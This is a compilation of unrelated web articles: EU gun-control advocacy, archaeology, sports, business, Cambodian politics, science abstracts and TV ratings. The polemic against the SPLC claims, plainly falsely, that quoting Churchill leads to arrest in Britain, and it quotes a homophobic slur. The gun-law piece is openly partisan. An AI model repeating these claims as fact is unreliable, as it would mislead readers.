in the wake of terrorist shootings and bombings in Paris, the European Commission announced that it was expediting previously contemplated gun control legislation. An extensive overview of current EU firearms law can be found at Library of Congress’ website.  Under EU legislative procedure, typically the transnational government’s executive branch, the European Commission, drafts and proposes legislation. The proposed legislation must then be approved by the European Parliament, which consists of members of parliament (MEPs) elected by the citizens of member states, and the European Council, which consists of the leaders of the various member states, in order to be adopted. These entities may also provide amendments to the proposed legislation.  The centerpiece of the recent proposal would place semi-automatic firearms in the same category as automatic firearms, barring civilian use. Other provisions offend the privacy rights of gun owners with stricter firearm registration requirements, and “standard medical tests” for firearm licensing. Additionally, firearms licenses issued by member states could not be valid for a period longer than five years.  Predictably, the gun control-crazed United Kingdom government, led by Tory Prime Minister David Cameron, offered their full-throated support of EU-wide gun control measures prior to a December 17-18 meeting of the European Council. In a December 13 press release that echoed the November 18 European Commission announcement, Cameron cited concerns over terrorism and noted, “I’ll be calling for a new EU-wide ban on all high-powered semi-automatic weapons.”  However, many EU member governments and shooting organizations have made clear they have no intention of caving to Brussels’ onerous dictates.  Revealing that many in the UK don’t agree with the efficacy of additional firearm restrictions, UK shooting organizations the British Association for Shooting and Conservation and Countryside Alliance have worked in concert to oppose the current EU proposal. A February 2 article from the UK’s Western Morning News noted that the groups have shared their concerns about the proposed rules with several MEPs and UK government officials. In conveying their position to the news outlet, a Countryside Alliance spokesperson explained, “We believe the current set of proposals will have a serious effect on sporting and target shooting, collectors, museums, re-enactors and the gun trade, resulting in heavy restrictions and a great deal more work for the already overburdened police force… In fact it appears that the only group that will not be affected by these proposals is terrorists.”  Similarly, representatives from German shooting organizations have met with German government officials to explain their opposition to the new restrictions. A December 21 Deutsche Welle article noted that the German Interior Ministry invited the groups in for a meeting. Following the session, Director of the German Federal Association of Shooting Ranges Joachim Streitberger told the news outlet, “The proposal contains things that the [German Interior Ministry] said would be difficult for them, and where changes would be called for,” adding, “After this conversation I do not expect the draft to come into force in the present form.” Streitberger also noted, “The criminal doesn’t care one bit what is in the law. The paradox is to try to use the law to avoid disadvantaging the law-abiding, while regulating the law-breaker, and that’s a paradox that a lawmaker can’t solve. Which weapon used in Paris was legally owned?”  Additionally, the article cites Germany’s Der Spiegel magazine, which reported, “confidential EU reports suggest that the German government – along with its Austrian, Czech and Finnish counterparts – is keen to put the brakes on the EU’s plans.” Der Spiegel’s contention is in line with December statements made by Finland Security Minister Petteri Orpo regarding the importance of civilian semi-auto use to their national defense, and reports that the Czech Republic has significant concerns with the proposed changes. Further, Austria, Bulgaria, Czech Republic, Estonia, Finland, France, Germany, Greece, Lithuania, Norway, Portugal, Slovakia, and Spain have all issued formal comments on the proposal.  Having been adopted by the European Commission, the proposed changes to the Firearms Directive are currently under the jurisdiction of the European Parliament’s Committee on the Internal Market and Consumer Protection (IMCO), chaired by MEP Vicky Ford of the UK’s Conservative Party. IMCO has released a timetable for their work on the proposal. The next major event in the timetable is a scheduled “first exchange of views” on February 23, followed by a hearing on this matter March 14-15.  It is deplorable that the EU would seek to further restrict access to firearms when so many Europeans are finding it necessary to exercise their human right to self-defense. Thankfully, diverse members of the European shooting community, including shooting and hunting organizations, members of the firearms industry, and military officials are coalescing to oppose the changes to EU firearm law.  Know your gun laws. Click here to see them.
-A study by scientists from Peking University and University College London has provided an outline of the development of rice cultivation in central China between the seventh and first millennium BCE.  Zhenhua Deng, Ling Qin and Yu Gao, from the School of Archaeology and Museology at Peking University, and Alison Ruth Weisskopf and Dorian Q. Fuller from the Institute of Archaeology at UCL, focused on the Baligang site in Nanyang Basin, in what is now Central China. A Neolithic site on the Northern tributary of the Yangtze River, Baligang provides a long arhaeobotanical sequence from the seventh to the first millennium BCE, offering insight into the development of rice and millet agriculture in the region.  Published in the open access journal Plos One, the study has the potential to clear up some long held ambiguities about the origins of farming practices in the region which is now China. Archaeologists generally agree that the prehistoric agricultural history of the region can be divided into two traditions: a northern one based on the cultivation of millet, and one centred around the Middle and Lower Yangtze basin based on rice.  The relationship between these two agricultural traditions is less transparent however, as the study explains, “Some have argued for a single origin, with either rice agriculture spreading north and encouraging millet domestication, or early millet farming in the north spreading south and kick-starting millet cultivation. Others have argued for more than (one) independent center of millet domestication across north China, unconnected to Middle and Lower Yangtze basin rice domestication episodes.”  For their study, the scientists collected flotation samples from pits and cultural layers during excavation seasons in 2004 and 2007. In total, 1700 litres of soil from 123 samples were floated in a flotation tank at the site, before plant remains were collected through sieves with 0.3 mm mesh. Following drying, samples from the 2004 study were sent for analysis at UCL’s facilities, while the 2007 samples were analysed at Peking University.  Selected seed and crop specimens were then chosen for direct radio carbon dating using Accelerated Mass Spectrometry (AMS), which was combined with other data to form a chronology for the history of rice cultivation in the Baligang region. “Over the course of excavations, the chronology was initially based on material cultural affiliation. Fifteen dates were carried out on wood charcoal in support of this. In addition 18 radiocarbon dates were direct AMS dates on identified seed remains recovered from the archaeobotanical samples described in this paper.”  Thanks to the broad chronological scope of the data extracted from Baligang, the authors of the study have been able to construct a detailed picture of subsistence farming strategies in the region. They have confirmed, based on morphological characteristics of the rice, that rice had been domesticated in the region before 6300 BCE, although a lack of evolution in grain shape suggests that the people there were still a long way off from forming an agricultural economy.  The researchers have put together a broad overview of rice cultivation in the region around Baligang during the Neolithic period and beyond. “Baligang provides a long sequence that registers many of the key trends in the Neolithic agriculture of central China.” The effects of cultural factors have been charted, showing how the development of agricultural economies progressed in China. “As a response to cultural changes, crop assemblages varied in different periods along with the interaction between north and south China, with more millets grown in periods under the cultural influence of the north.”  Nevertheless, as is so often the case and as the authors of the study confirm, their results still leave a host of questions unanswered. “The tantalizing new evidence for domestication of rice at Baligang site before 6300 BC require data from other sites and periods to be put into an evolutionary trajectory from rice gathering to domestication.”  For more information: www.journals.plos.org  Image courtesy of Wikimedia Commons user: Jialiang Gao
-Football, with its vast fortunes and off the pitch perks, has been targeted by con men from the boardroom to the pitch since it turned professional.  From the Sheffield Wednesday match fixing scandal of the 1960s to Ali Dia and his Southampton contract the sport has been plagued by people looking to swell their own bank accounts and make themselves famous.  One man stands out among the pack though. Carlos Henrique, “The Kaiser”, a man who played for some of the biggest South American and French clubs all whilst doing his utmost to avoid ever having to play a professional football match in his life.  Carlos had much the same dreams as anyone with a love of the game. Growing up as a football fan in the wake of Brazil’s stunning success in the 1970 World Cup, Carlos wanted to emulate his heroes on the pitch.  He showed some talent and was even brought on trial by Puebla FC, a then Mexican First Division side. The only problem with Carlos’ dream was that he wasn’t good enough to make the grade and was released without ever playing a match.  Determined to pursue his footballing career he returned to Rio de Janeiro and in the nightclubs of the city he befriended some of the brightest Brazilian talents of the era, among them Bebeto, Romario and Renato Gaucho. Carlos took well to the night life of a famous footballer and used his new-found contacts to further his career prospects.  Enlisting the help of his friends Carlos was able to secure a three-month trial contract with Botafogo that gave them the option of playing him in league matches. He had the physique and the natural fitness of an athlete so first impressions of him were favourable.  But Carlos knew that he would be required to play in a practice match soon and so came up with a simply but effective way of prolonging his Botafogo career, he feigned injury.  The story goes that Carlos asked for a few weeks fitness training before playing his first match. He told the club that he was a natural striker due to his speed and so the coaches gave him some time.  When the time came for a match Carlos asked for the first ball played to him to be played a number of yards ahead of him. He chased it and fell to the ground clutching his hamstring, insisting he had torn it. Medical technology being what it was in the 1980s there was no way of disproving the claim and so Carlos went to the treatment table.  As a ruse it worked well. He remained a Botafogo player on their payroll and, of course, during this period Carlos would hit all the nightclubs with his teammates and enjoy the company of the many women who were looking to meet a professional footballer.  He even enhanced his own reputation by pretending to speak English on his own mobile phone to admiring European clubs in front of his team-mates and the Botafogo staff.  This lasted until the club doctor, fluent in English, realised the now nicknamed Kaiser wasn’t able to speak English at all. Sneaking a look at the mobile phone, the doctor realised that it was nothing more than a toy.  Kaiser, like all great con men, had a knack of knowing when it was time to move on. He left Botafogo and used his footballer friends to secure him a new contract, this time at Flamengo. Using the same fitness to injury table routine he was able to gain months of employment and fame from the club before moving on again.  He would repeat his trick at clubs in Brazil, Mexico, the US and France, living for years as a professional footballer without ever playing a match.  Some of the stories of how he dodged line ups have become the thing of legend. At Bangu he was sent to warm up so he could be brought on as the side trailed. Instead he used the anger of Bangu’s fans to his own ends and jumped on to the cage separating them from the pitch so he could remonstrate with them.  The referee sent him off for inciting the crowd but afterwards Kaiser explained his actions as being that of a son sticking up for his proud father, the club’s chairman.  God gave me a father, who passed away. But He gave me another, and I’ll never allow anyone to say my father (the chairman) is a thief. But the fans were saying exactly that. That’s why I intervened.  At the French side Ajaccio he was horrified to see a crowd of fans waiting to witness the first training session of their new Brazilian superstar and so took every single football on the pitch and kicked them to his adoring spectators, all whilst kissing the club’s crest and proclaiming loudly about how much he means to them.  The team then could only do physical training like running as they had no footballs to kick around. Kaiser would play for Ajaccio however and would eventually retire back home in Brazil with a record of thirty games played in a career that spanned over twenty years.  Popular culture is full of people who chanced their luck for fame or fortune. From movies like Pain and Gain to Catch Me If You Can everyone loves hearing about a total fraud who gets away the deception, for a short time at least.  No doubt in the near future cinema will tell the story of football’s greatest fraud, Carlos Henrique Kaiser.
-Hi everyone! Riot Games Support has been busy the last couple months working on a new project to help players troubleshoot problems with League of Legends. Today we're happy to release our first set of help videos! This set of videos specifically focuses on one of the more prevalent causes for frustration: connection troubleshooting. Let’s be honest, wi-fi sucks, port forwarding sucks, and hell even accessing your router sucks. With these videos we hope to make complicated things easy. Our goal is for players to be able to solve a problem in an easy-to-follow and visual way, and also learn more about why problems are occurring in the first place. You can watch these videos on the new [Riot Support YouTube Channel](https://www.youtube.com/channel/UCyi6e6vg93m0VUyI05PGgow) and we'll also be embedding these videos in the [support site](https://support.riotgames.com) soon. In the near future more videos will be added to tackle a variety of problems, such as FPS optimization and crash prevention. We’re also working right now translating the videos into other languages, so that everyone can benefit from them. We’ll hang out in this thread for a while, share your thoughts and feedback. :D ***P.S.*** We know that not every issue is your fault, sometimes it's on Riot's end. That's why we have the [Server Status page](http://status.leagueoflegends.com). When stuff breaks on our end, we hustle to fix it as quickly as possible. For everything else we want you to have the tools and help to fix your problem as quickly and easily as possible.  Title  Body Cancel  Save
-LOS ANGELES (Reuters) - Solar start-up Solyndra LLC, succumbing to pressure from lower-cost Chinese rivals, said it has suspended operations and plans to file for bankruptcy, 15 months after President Barack Obama visited a company factory that was to be expanded with the help of a federal loan guarantee.  President Barack Obama tours Solyndra, Inc., a solar panel manufacturing facility in Fremont, California May 26, 2010. REUTERS/Kevin Lamarque  The Chapter 11 filing, expected next week, will make Solyndra the third U.S. solar company to seek bankruptcy protection in the last month. Former Wall Street high flyer Evergreen Solar Inc filed for Chapter 11 two weeks ago, followed four days later by SpectraWatt Inc, a private company that was backed by Intel Corp.  Representative Henry Waxman of the House Committee on Energy and Commerce said the bankruptcies “are unfortunate warnings that the United States is in danger of losing its leadership position in the clean energy economy of the future ... We should be doing everything possible to ensure the United States does not cede the renewable energy market to China and other countries.”  In a press release on Wednesday, Solyndra said it could not compete with bigger overseas rivals. Earlier this year, cuts to generous solar subsidies in No. 2 market Italy stalled development of solar projects and led to a global glut of solar panels that sparked a 25 percent drop in prices.  Even industry heavyweights such as China’s Suntech Power Holdings Co Ltd and U.S.-based First Solar Inc are struggling with dwindling profits, while small, up-and-coming solar companies are finding it increasingly difficult to stay afloat.  Solyndra said it was evaluating options, including a sale of the business and licensing its copper indium gallium selenide (CIGS) technology.  About 1,100 employees are being laid off immediately, it said in a statement.  A company spokesman said the bankruptcy filing would likely come early next week in Delaware.  “SWIMMING UPSTREAM”  Solyndra simply could not compete with “Chinese firms that have received billions of dollars in low-cost loans from state banks and have access to a well developed domestic supply chain for solar manufacturing,” GTM Research analyst Shyam Mehta said. The company’s relatively unproven CIGS technology was another key reason for its demise, he added.  “Solyndra has been swimming upstream ever since it entered the market,” Mehta said.  The announcement is the latest in a series of disappointments for Solyndra, whose fall from grace has been tracked closely because it received a $535 million loan guarantee from the Department of Energy in 2009.  The company also made headlines in May 2010 when Obama paid a visit to the company’s Fremont, California, factory.  Solyndra was the first company to receive a loan guarantee under an advanced clean energy program created in 2005. The Energy Department came under criticism last year when the company postponed plans to expand the Fremont factory, cut jobs and withdrew plans for an initial public offering.  At the time, U.S. firms were just beginning to smart from the rapid influx of cheap solar panels from China.  In July, a congressional panel voted to subpoena White House documents related to Solyndra’s loan guarantee. Republicans on the House Energy and Commerce subcommittee said they want to ensure that funds appropriated for the loan guarantee program were properly invested.  Slideshow (2 Images)  Solyndra also received some $1 billion in venture capital funds from investors including CMEA Ventures, Argonaut Ventures, Madrone Partners, Redpoint Ventures, funds affiliated with RockPort Capital Partners, and U.S. Venture Partners.  Prior to Solyndra, Evergreen Solar was the most high-profile U.S. solar company to collapse. Evergreen was once at the forefront of U.S. renewable energy technology and had planned to produce its solar wafers in Massachusetts. Ultimately, even a plan to shift manufacturing to Asia could not save it.  Solyndra had revenue of $140 million in 2010 and had said it planned to produce 300 megawatts of solar panels this year.
-PHNOM PENH: Cambodian Prime Minister Hun Sen threatened on Monday (Sep 11) that the main opposition party would be dissolved if it continues to back detained leader Kem Sokha, who has been charged with treason over an alleged plot to gain power with US support.  Kem Sokha was arrested on Sept 3 and is the only serious election rival to Hun Sen, a 65-year-old former Khmer Rouge commander.  Advertisement  Western countries have criticised the arrest, which marked an escalation in a crackdown on critics ahead of a poll next year that could pose the toughest electoral challenge Hun Sen has faced in more than 30 years of rule.  The opposition Cambodia National Rescue Party (CNRP) said it would continue to support Kem Sokha as leader and threatened to boycott the election if he is not freed.  Speaking at a graduation ceremony in Phnom Penh, Hun Sen warned that the CNRP's stand could mean "the dissolution of the party".  "If the political party continues to blockade and defend this traitor, it means the party is also a traitor so there is no time to let this party operate in Cambodia's democratic process anymore," Hun Sen said.  Advertisement  Advertisement  Parliamentarians from the CNRP went to the prison where Kem Sokha is being held to demand his release. They said his arrest was illegal because he should have been protected by parliamentary immunity.  "The party president Kem Sokha is the CNRP president now and will be in the future," one of his deputies, Mu Sochua, said outside the prison, adding that his release was an essential condition to allow a free and fair election.  "We can't participate in an election that isn't free and fair," she said.  PARLIAMENT VOTE  The opposition party boycotted a parliamentary vote on whether Kem Sokha should be prosecuted. It would not have been able to block approval as Hun Sen's Cambodian People's Party (CPP) holds a majority, and the motion in favour of prosecuting was passed unopposed. It was unclear whether that effectively overrode Kem Sokha's right to claim parliamentary immunity.  The evidence presented against Kem Sokha so far is a video recorded in 2013 in which he discusses a strategy to win power with the help of unspecified Americans.  His lawyers have dismissed the evidence as nonsense and said he was only discussing election strategy.  Western countries and human rights groups have condemned the arrest of Kem Sokha and raised doubts as to whether next year's election can be fair, given the crackdown on the opposition, activists and independent media.  However Hun Sen's main ally, China, has said it supports Cambodia's efforts to preserve its own security. Hun Sen was due to visit Beijing on Monday. He said he was going to ask for more aid for Cambodia's health sector.
-The salt equation taught to doctors for more than 200 years is not hard to understand.  The body relies on this essential mineral for a variety of functions, including blood pressure and the transmission of nerve impulses. Sodium levels in the blood must be carefully maintained.  If you eat a lot of salt — sodium chloride — you will become thirsty and drink water, diluting your blood enough to maintain the proper concentration of sodium. Ultimately you will excrete much of the excess salt and water in urine.  The theory is intuitive and simple. And it may be completely wrong.  New studies of Russian cosmonauts, held in isolation to simulate space travel, show that eating more salt made them less thirsty but somehow hungrier. Subsequent experiments found that mice burned more calories when they got more salt, eating 25 percent more just to maintain their weight.  The research, published recently in two dense papers in The Journal of Clinical Investigation, contradicts much of the conventional wisdom about how the body handles salt and suggests that high levels may play a role in weight loss.
-"An appeaser is one who feeds a crocodile - hoping it will eat him last," goes the famous saying attributed to Winston Churchill. Of course, quoting Churchill will get you arrested in Great Britain these days. America isn't much better, thanks to the climate of intimidation created by, among others, the Southern Poverty Law Center.  The Values Voters Summit is a gathering of social conservatives in Washington DC that features leading Republican politicians, including Ted Cruz and Rand Paul. The latter is interesting because apparently Paul feels he can break from his left-libertarian following on issues like gay marriage, but not on immigration. Of course, leading social conservatives have also been aggressively pushing amnesty of late, perhaps attempting to purchase a separate peace with progressive enforcers.  It doesn't seem to have worked. Along with other fundraising scams, er, "civil rights groups," the $PLC is now attacking even the RNC of minicon Reince Priebus.  In an open letter published in The Washington Post and The Hill, the coalition is reminding RNC Chair Reince Priebus that 15 years ago his predecessor told GOP officials to shun the Council of Conservative Citizens because of the group’s racist views. This year’s campaign is asking the RNC to do it again. “Will the GOP condemn anti-LGBT bigotry as vigorously as it opposed racism 15 years ago?” the letter asks. [Coalition Calls on RNC to Distance Itself From Values Voter Summit, SPLC, September 24, 2014]  Of course, the obvious counter is that this is precisely why the PC Cringe never actually works—it simply emboldens the enforcers to move the goalposts and create something new. If the Values Voters summit is ditched, it will just be something else, ad infinitum.  There's also the deeply dishonest implication that every speaker at a summit or conference must agree with every statement every other person or group at the conference has written or said. Certainly, this never seems to apply to the Left.  “White folks was [sic] in caves while we was building empires…. We taught philosophy and astrology and mathematics before Socrates and them Greek homos ever got around to it.” — Rev. Al Sharpton [Should Al Sharpton be Fired From MSNBC For Making Racist Comments, by Mike Opelka, The Blaze, November 25, 2011]
-In captivity, tortoises often grow faster than their conspecifics in the wild. Here, we document growth (measured as change in body mass) in three individual Geochelone sulcata over an exceptionally long period of nearly 18 years and use growth data (measured as change in carapace length) from the literature on free-ranging animals for comparison. Body lengths almost reached a plateau in the animals due to the long observation period. After transformation of body length to body mass for data from wild animals, logistic growth curves were successfully fitted to all data. The resulting functions yielded a 1.4–2.6 times higher intrinsic growth rate in captive than in wild individuals. The logistic growth model estimated the inflexion point of the growth curve at 6–9 years for the captive animals. This coincided with age at sexual maturity, respectively observations of first egg-laying of a female and the masturbation of a male. The inflexion point of the growth curve for free-ranging individuals was estimated at 15 years. Raising tortoises on intensive feeding regimes in captivity may considerably shorten generation times during the breeding stage of restocking programmes, and slow-growing animals are more likely to thrive after release into the wild. Investigations on the health of offspring from fast-growing parents are lacking.  18 References.  No Supplementary Data.  No Article Media  No Metrics
-AUSTIN, TX - NOVEMBER 14: Myles Turner #52 of the Texas Longhorns defends against the North Dakota State Bison at the Frank Erwin Center on November 14, 2014 in Austin, Texas. (Photo by Chris Covatta/Getty Images)  On s uper teams: I'm a winner, man. I love to win. I appreciate the competitive side of basketball but if you're going to build a super team, it's going to suck if you're not on the team but I respect what these guys are doing. I respect what KD did. Man, he had the chance to do great things in Oklahoma city but saw a chance to do even bigger things, greater things in Golden State. That he did. A lot of guys look down upon him but... he literally held his own. He played incredible defense and it's not like he was just a role player.  On being the longest-tenured Pacer at age 21: Just being back home in Dallas it hasn't really hit me. When I go back it might but I'm groomed for this, been preparing for it my whole life to even be in this predicament. I'm now the longest-tenured Pacer. That's crazy. I'm looking forward to it, the ups and downs and everything. Being able to get this experience so young will help me moving to my prime in my veteran years.  Pacers star Myles Turner, a former top recruit at Euless Trinity and one-year player at Texas, joined 105.3 The Fan's Ben & Skin to talk Dirk Nowitzki, building his team and wanting to stay in Austin longer. Here are some highlights:  On taking less money for a better NBA chance: I feel like it depends on what I've accomplished in my career. If I've gotten my ring and gotten the things I had my sight set out to do then yeah I might take a little less money, let guys coming into the league make their impact.  But if I haven't accomplished everything I set out to do, I'm going to do whatever it takes to make that All-Star team, to get the ring, to be first-team all-NBA. It just depends on where I'm at in my career.  Even if you take less money and have accomplished everything you want to do from a business side of it, there's a business outside of basketball when you're done. Guys want to be surrounded by winners. If you're a winner and go over to other companies... you're setting yourself up for even greater things in the future.  On Dirk: I respect the hell out of Dirk Nowitzki. I grew up watching him, man, would watch him and then immediately after the games go to the driveway and mimic the fadeaways and mimic everything he did. The fact he was able to bring a ring and a championship to this city is unreal. You grow up and you watch the super team, the Big 3 of Wade, Bosh and LeBron. It was incredible to see how [Dirk] did it and just willed that team.  Are you a power forward, center or does it matter? I'm a basketball player. Positionless basketball, that's where the league is headed right now and my dad from a young age made me work on everything ... At the time I didn't appreciate or understand that, looking back on it now it sucked having to do all the drills with the guards, constantly getting ripped, constantly the slowest guy out there but now to do a little bit of everything, I'm thankful for it.  Who's taller - you or KD? I'm taller than him. He'd say he's a 7-footer but he's not a 7-footer. He's got a lot of length on him but he's ... 6-10. If you want to get really, really meticulous I'm 6-11 ¾ with my shoes. I just missed the little ceiling right there.  On leaving school early: I wanted to stay. Austin, TX is like my favorite city in the U.S. I've obviously traveled everywhere just playing basketball and I love Austin. I didn't want to leave the city, I didn't want to leave my teammates - we were building something great. I didn't even want to leave the classes, they were so interesting and intriguing, the incredible professors.  But my parents were like, "You got to go, man. Your name is hot right now, you have a chance to be a hot commodity in the draft class and have a chance to go out and work 10 times as hard as you've been working."  I didn't want to leave, man, I was a kid in a candy shop and I loved it - the whole college experience, admittedly being away from your parents a little while. But I knew business is business and do what I have to do.  On second annual Myles Turner back-to-school camp: I'm a little, little kid when I come to this stuff. I'm in every drill, hyped up ... playing defense, blocking shots.  Texas is an incredible football state but kids can make it out of here for basketball too and I want them to understand that. It's August 18-19.
-“The Big Bang Theory” edged “This Is Us” as the top non-sports show among adults 18-49 in same-day ratings for Oct. 9-15. With three days of delayed viewing, the shows switched spots.  “This Is Us'” 4.3 rating in the Live +3 chart is 0.2 better than “The Big Bang Theory’s” 4.1. “The Good Doctor” made the biggest three-day gain, rising from 2.0 to 3.6.  “Big Bang” (16.82 million), “NCIS” (16.4 million) and “The Good Doctor” (16.31 million) all overtook “Sunday Night Football” in total viewers with three days of DVR and on-demand catchup.  Below are the top 25 shows in Live +3 ratings; following that are the three-day numbers for the week’s other season and series premieres.  Top 25 broadcast shows in Live +3 adults 18-49 for Oct. 9-15, 2017  Rank Show Net L+3 18-49 rating Gain vs. Live + SD % gain vs. Live + SD 1 SUNDAY NIGHT FOOTBALL – GIANTS/BRONCOS NBC 5.6 0.0 0% 2 THURSDAY NIGHT FOOTBALL – EAGLES/PANTHERS CBS 4.6 0.0 0% 3 THIS IS US NBC 4.3 1.5 54% 4 THE BIG BANG THEORY CBS 4.1 1.2 41% 5 THE GOOD DOCTOR ABC 3.6 1.6 80% 6 GREY’S ANATOMY ABC 3.2 1.1 52% 7 THE VOICE – MON. NBC 2.9 0.5 21% WILL & GRACE NBC 2.9 1.1 61% 9 THE VOICE – TUES. NBC 2.8 0.4 17% 10 EMPIRE FOX 2.7 0.7 35% MODERN FAMILY ABC 2.7 0.9 50% 12 60 MINUTES CBS 2.3 0.0 0% 13 SURVIVOR CBS 2.2 0.5 29% 14 THE GIFTED FOX 2.0 0.8 67% SCANDAL ABC 2.0 0.8 67% THE GOLDBERGS ABC 2.0 0.5 33% AMERICAN HOUSEWIFE ABC 2.0 0.6 43% CHICAGO PD NBC 2.0 0.8 67% 19 THE ORVILLE FOX 1.9 0.9 90% STAR FOX 1.9 0.4 27% THE MIDDLE ABC 1.9 0.5 36% NCIS CBS 1.9 0.5 36% CRIMINAL MINDS CBS 1.9 0.8 73% LAW & ORDER: SVU NBC 1.9 0.7 58% CHICAGO FIRE NBC 1.9 0.8 73%  Top 25 broadcast shows in Live +3 viewers for Oct. 9-15, 2017  Rank Show Net L+3 viewers (000s) Gain vs. Live + SD (000s) % gain vs. Live + SD 1 THE BIG BANG THEORY CBS 16,822 3,682 28% 2 NCIS CBS 16,400 2,794 21% 3 THE GOOD DOCTOR ABC 16,306 5,613 52% 4 SUNDAY NIGHT FOOTBALL – GIANTS/BRONCOS NBC 16,220 59 0% 5 THIS IS US NBC 15,325 4,308 39% 6 THURSDAY NIGHT FOOTBALL – EAGLES/PANTHERS CBS 14,699 104 1% 7 BULL CBS 13,915 2,654 24% 8 60 MINUTES CBS 13,860 516 4% 9 THE VOICE – MON. NBC 12,713 1,799 16% 10 THE VOICE – TUES. NBC 12,620 1,534 14% 11 BLUE BLOODS CBS 12,470 3,489 39% 12 NCIS: NEW ORLEANS CBS 11,941 2,419 25% 13 HAWAII FIVE-0 CBS 10,904 2,389 28% 14 NCIS: LOS ANGELES CBS 10,866 2,213 26% 15 GREY’S ANATOMY ABC 10,727 2,644 33% 16 DANCING WITH THE STARS ABC 10,693 1,444 16% 17 SEAL TEAM CBS 10,442 2,421 30% 18 SURVIVOR CBS 9,710 1,685 21% 19 WILL & GRACE NBC 9,698 2,978 44% 20 WISDOM OF THE CROWD CBS 9,276 1,237 15% 21 CHICAGO FIRE NBC 9,270 3,113 51% 22 CHICAGO PD NBC 9,250 3,179 52% 23 MADAM SECRETARY CBS 8,943 2,580 41% 24 CRIMINAL MINDS CBS 8,822 2,956 50% 25 MODERN FAMILY ABC 8,583 2,310 37%  Here are the Live +3 numbers for other season and series premieres from Oct. 9-15.  Adults 18-49  Show Net L+3 18-49 rating Gain vs. Live + SD % gain vs. Live + SD THE FLASH CW 1.6 0.5 45% RIVERDALE CW 1.2 0.4 50% SUPERNATURAL CW 1.0 0.3 43% ARROW CW 1.0 0.4 67% LEGENDS OF TOMORROW CW 0.9 0.3 50% SUPERGIRL CW 0.9 0.4 80% JANE THE VIRGIN CW 0.5 0.2 67% DYNASTY CW 0.4 0.1 33% VALOR CW 0.3 0.0 0% CRAZY EX-GIRLFRIEND CW 0.3 0.1 50%  Total viewers  Show Net L+3 viewers (000s) Gain vs. Live + SD (000s) % gain vs. Live + SD THE FLASH CW 4,134 1,290 45% RIVERDALE CW 3,308 966 41% SUPERNATURAL CW 2,819 718 34% SUPERGIRL CW 2,803 936 50% LEGENDS OF TOMORROW CW 2,495 784 46% ARROW CW 2,417 895 59% DYNASTY CW 1,627 368 29% VALOR CW 1,600 402 34% JANE THE VIRGIN CW 1,228 543 79% CRAZY EX-GIRLFRIEND CW 803 178 28%  Source: The Nielsen Company.
-INDEPENDENCE, Ohio - LeBron James said "I didn't hold up my end of the bargain" to get the Cavaliers to the 2009 NBA Finals and thus forge a matchup against Kobe Bryant's Los Angeles Lakers that the world would've wanted to see.  James let loose a bevy of insight, emotion, memories and adulation Tuesday morning, regarding Bryant's announcement that this season would be the last of his illustrious 20-year career.  There were almost too many anecdotes from James about Bryant, whom now may be called an idol of James' given what the Cavs' superstar said. For Cleveland fans, though, perhaps the most poignant was James' near apology for, or at least his overt expression of regret, for the Cavs failing to reach the Finals to play Bryant's Lakers in 2009, despite winning a franchise-record 66 games during the regular season.  James and the Cavs were bounced in six games by the Orlando Magic, who were in turn dismissed by Bryant's Lakers in five games. Bryant averaged 32.4 points per game en route to being named Finals MVP.  Either James or Bryant have played in every Finals since 2007, but never against one another. They have five regular-season and four Finals MVPs between them.  "I know the world wanted to see it," James said, following the Cavs' morning shootaround in preparation for the evening's home game against Washington. "I wanted it, we wanted it, he held up his end and I didn't hold up my end, and I hate that. I hate that that didn't happen."  James answered the first question about Bryant - asked for his reaction to Bryant's retirement announcement - and spoke for four minutes without pause.  He called it "kind of sad" as he began to wax poetic about Bryant's impact on his own career, recalling the Bryant posters that hung on the wall and time Bryant gave him a pair of shoes to wear in a high school tournament against Carmelo Anthony's Oak Hill Academy.  Bryant, like James in 2003, entered the NBA in 1996 direct from high school.  "I mean, in high school I wore a nappy-ass Afro because of Kobe Bryant, because he wore it," James said. "I wanted to be just like him, man. And I always said my inspiration came from (Michael) Jordan, but I always thought Jordan was so out of this world that I could never get there. Kobe was someone that I just always kind of wanted to be like and play like."  Remember last week, when James could not (or would not) offer a single moment from Reggie Miller's Hall of Fame career that stood out to him?  Bryant memories rolled off James' tongue, as he maneuvered with ease from Bryant's career-high 81-point explosion on Jan. 22, 2006 against Toronto; his 62 points in three quarters against Dallas on Dec. 20, 2005; his game-winning shot from the right elbow in overtime against Phoenix in Game 4 of a first-round series; to James' own first game against Bryant during his rookie season with the Cavs.  "It was someone that I always knew I had to be in the gym," James said, attempting to put into words what Bryant meant to him once he became a pro. "I knew I had to be better because of Kobe Bryant. I knew he was in the gym and I knew he was working on his game. And I knew he was great.  "So every day that I didn't want to work out or every day I felt like I couldn't give more, I always thought of Kobe. Because I knew that he was getting better and I was like, 'Man, if you take a day off, he's going to take advantage of it. You cannot take a day off. You cannot take a day off.' And I used him for my motivation throughout my career because I always knew that he was working on something."  The last time James and Bryant shared the same court was Jan. 15 at the Staples Center, when James scored 36 compared to Bryant's 19 points and 17 assists in Cleveland's 109-102 win.  James, who still tunes into Lakers games on his tablet and watches "Bean" (Bryant's middle name, which James often shouts while watching those games) after Cavs games are finished, said he checked the schedule for when Cleveland and the Lakers meet this season (Feb. 10 at The Q; March 10 in L.A.).  "I think it'll be very emotional and very fun," James said. "Obviously I want to win and he wants to win, too. But some things about that will be much bigger than a win or a loss.  "It won't really make sense next year when you see the Lakers and you don't see Kobe in a uniform. Twenty years, 13 out of my career. It's almost half of my life I've seen him in a Lakers uniform as a professional. It's going to be pretty weird."  James and Bryant were teammates on two gold-medal Olympic teams. Bryant may still play for Team USA at the Rio Olympics this summer; James said Bryant's decision wouldn't affect his own on whether or not to make another run at gold.  Bryant will be remembered for his ultra-competitive streak, something James said he gained extra appreciation for during their time together with Team USA.  James ended his session with reporters with the following Olympic anecdotes to make his point.  "I would say our Gold Medal game in '08 against Spain was probably one of the most memorable games I've ever played with him," James recalled. "That was a really tough game for our team. It was our Redeem Team and late in the game it was a very close game. Rudy Fernandez had just come down and made a really big bucket. They went zone on us and we needed to make a big bucket. We swung it around the horn, Kobe caught it on the left wing and shot a three with no thought about it. Got fouled, four-point play and we put the game away from that point on. That was pretty cool.  "The other game that was very inspiring and at the same time I knew he was on another level was during our first game we played Spain in '08 in the preliminary rounds. The first play of the game he ran through the chest of Pau Gasol and got a flagrant. And Pau Gasol was his teammate with the Lakers. I was like, 'Yeah, this guy is on another level.'  "Yeah. I loved it. I mean, he wasn't my teammate, but I was like, you guys can find that clip and you'll see what I'm talking about. It was one of the first plays of the game. I was like, 'This guy's all about winning and whoever he's playing for or who he's playing with at that point in time. He really forgot Pau was his teammate. Like he really forgot that he was about to see him in like three weeks in L.A. I swear. It was crazy."
